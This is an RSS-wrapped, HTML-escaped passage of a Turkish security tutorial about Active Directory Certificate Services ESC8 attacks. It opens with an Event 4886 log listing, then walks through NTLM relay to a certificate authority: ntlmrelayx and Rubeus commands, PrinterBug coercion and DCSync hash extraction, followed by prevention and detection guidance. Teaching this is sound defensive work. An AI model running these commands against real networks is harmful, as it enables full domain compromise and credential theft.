&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pki&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\htb-student\Documents&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$events&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Format-List&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Property&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Services&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;received&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;request.&lt;/span&gt;&lt;span class="w"&gt;

                        &lt;/span&gt;&lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ID:&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nx"&gt;51&lt;/span&gt;&lt;span class="w"&gt;
                        &lt;/span&gt;&lt;span class="n"&gt;Requester:&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;KRYSATHAL\DC2&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt;
                        &lt;/span&gt;&lt;span class="n"&gt;Attributes:&lt;/span&gt;&lt;span class="w"&gt;
                        &lt;/span&gt;&lt;span class="nx"&gt;CertificateTemplate:DomainController&lt;/span&gt;&lt;span class="w"&gt;
                        &lt;/span&gt;&lt;span class="n"&gt;ccm:PKI.krysathal.local&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;4886&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Version&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Qualifiers&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Level&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Task&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;12805&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Opcode&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Keywords&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-9214364837600034816&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;RecordId&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;21100&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;ProviderName&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Microsoft-Windows-Security-Auditing&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;ProviderId&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;54849625-5478-4994-a5ba-3e3b0328c30d&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;LogName&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Security&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;ProcessId&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;660&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;ThreadId&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;772&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;MachineName&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PKI.krysathal.local&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;UserId&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;TimeCreated&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;9/11/2026&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;1:24:02&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PM&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;ActivityId&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;dcf643ef-6c67-0000-6e44-f6dc676cd901&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;RelatedActivityId&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;ContainerLog&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Security&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;MatchedQueryIds&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Bookmark&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;System.Diagnostics.Eventing.Reader.EventBookmark&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;LevelDisplayName&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Information&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;OpcodeDisplayName&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Info&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;TaskDisplayName&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Certification&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Services&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;KeywordsDisplayNames&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;Audit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Success&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Properties&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;System.Diagnostics.Eventing.Reader.EventProperty&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;System.Diagnostics.Eventing.Reader.EventProperty&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;System.Diagnostics.Eventing.Reader.EventProperty&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  BÖLÜM 15: ESC8 — NTLM Relay ile Sertifika Çalma
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Temel Mantık
&lt;/h4&gt;

&lt;p&gt;Bu saldırı, bir &lt;strong&gt;Domain Controller'ı kandırıp&lt;/strong&gt; sana bağlanmaya zorlar, sonra o bağlantıyı &lt;strong&gt;Certificate Authority'ye (sertifika sunucusu) yönlendirir&lt;/strong&gt; ve DC'nin kimliğiyle bir sertifika alır. O sertifikayla da DC gibi davranıp tüm domain'i ele geçirirsin.&lt;/p&gt;

&lt;h4&gt;
  
  
  Neden İşe Yarıyor?
&lt;/h4&gt;

&lt;p&gt;İki temel zayıflık üst üste geliyor:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;ADCS web kayıt (web enrollment) arayüzü HTTPS zorunlu kılmıyor&lt;/strong&gt; — yani kimlik doğrulama şifrelenmemiş HTTP üzerinden yapılabiliyor, bu da relay'e (ortadaki adam gibi iletme) izin veriyor.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Herhangi bir domain kullanıcısı bir makineyi (DC dahil) kendisine bağlanmaya zorlayabiliyor&lt;/strong&gt; (PrinterBug/coercing).&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  Saldırının Akışı
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;1. Dinleyiciyi kur&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Saldırgan &lt;code&gt;NTLMRelayx&lt;/code&gt;'i çalıştırır ve ona talimat verir: &lt;em&gt;"Bana gelen her bağlantıyı Certificate Authority'ye ilet ve DomainController şablonu için sertifika iste."&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-ntlmrelayx &lt;span class="nt"&gt;-t&lt;/span&gt; http://&amp;lt;CA-IP&amp;gt;/certsrv/default.asp &lt;span class="nt"&gt;--template&lt;/span&gt; DomainController &lt;span class="nt"&gt;-smb2support&lt;/span&gt; &lt;span class="nt"&gt;--adcs&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. DC'yi zorla (PrinterBug)&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Saldırgan, hedef Domain Controller'ın Print Spooler servisindeki açığı tetikleyerek onu kendi makinesine bağlanmaya zorlar. DC bağlanırken kendi makine hesabının (&lt;code&gt;DC2$&lt;/code&gt;) kimliğini taşır.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Kimliği sertifikaya çevir&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
NTLMRelayx, DC'nin bu bağlantısını anında CA'ya iletir. CA, "bu gerçekten DC2" diye düşünüp &lt;strong&gt;DC2$ adına geçerli bir sertifika verir.&lt;/strong&gt; Artık saldırganın elinde, kriptografik olarak geçerli bir "ben DC2'yim" kimlik kartı var.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Sertifikayı giriş biletine çevir (Rubeus)&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Bu sertifika ile &lt;code&gt;DC2$&lt;/code&gt; hesabı için bir Kerberos TGT alınır:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Rubeus.exe asktgt /user:DC2&lt;span class="nv"&gt;$ &lt;/span&gt;/ptt /certificate:&amp;lt;base64-sertifika&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Artık saldırgan ağda &lt;strong&gt;DC2 olarak&lt;/strong&gt; hareket edebilir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Tüm hash'leri çek (DCSync)&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Saldırgan bir Domain Controller gibi davrandığı için, DCSync ile Administrator dahil tüm hesapların parola hash'lerini çeker → &lt;strong&gt;tam domain ele geçirme.&lt;/strong&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Önleme
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;ADCS web enrollment'ta HTTPS'i zorunlu kıl&lt;/strong&gt; — relay'in temelini çökertir.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Coercing'i engelle&lt;/strong&gt; — DC'lerin 139/445 portlarına giden outbound bağlantılarını kısıtla (Bölüm 13'teki önlemle aynı).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Certify gibi araçlarla düzenli PKI taraması&lt;/strong&gt; yap.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Tespit
&lt;/h4&gt;

&lt;p&gt;Saldırı üç ayrı iz bırakır:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Event 4886 / 4887&lt;/strong&gt; → sertifika talebi ve onayı (CA üzerinde). İpucu: relay ile gelen talepte &lt;strong&gt;şablon adı görünür&lt;/strong&gt;, normal DC talebinde görünmez.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Event 4768&lt;/strong&gt; → sertifika ile TGT alımı. İpucu: giriş &lt;strong&gt;sertifika ile&lt;/strong&gt; yapılmış ve IP adresi DC'nin değil.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Event 4624&lt;/strong&gt; → DCSync sırasında başarılı giriş. İpucu: yine &lt;strong&gt;yanlış/beklenmedik IP adresi.&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Ortak tespit mantığı:&lt;/strong&gt; Çekirdek sunucuların (DC, CA) giriş yaptığı IP adresleri statik ve bilinmelidir. Beklenmedik bir IP'den gelen DC kimlik doğrulaması = alarm.&lt;/p&gt;




&lt;h6&gt;
  
  
  &lt;strong&gt;Bu dokümanın siber güvenlik alanında kendini geliştirmek isteyen herkese faydalı bir kaynak olmasını umuyorum. Okuduğunuz, uyguladığınız ve öğrendiğiniz her adımın sizlere yeni bir bakış açısı kazandırması dileğiyle. Katkı ve geri bildirimleriniz her zaman değerlidir.&lt;/strong&gt;
&lt;/h6&gt;

&lt;h4&gt;
  
  
  &lt;span&gt;Güvende Kalın&lt;/span&gt;, &lt;span&gt;Siberde Kalın&lt;/span&gt;
&lt;/h4&gt;

</description>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>security</category>
    </item>
  </channel>
</rss>
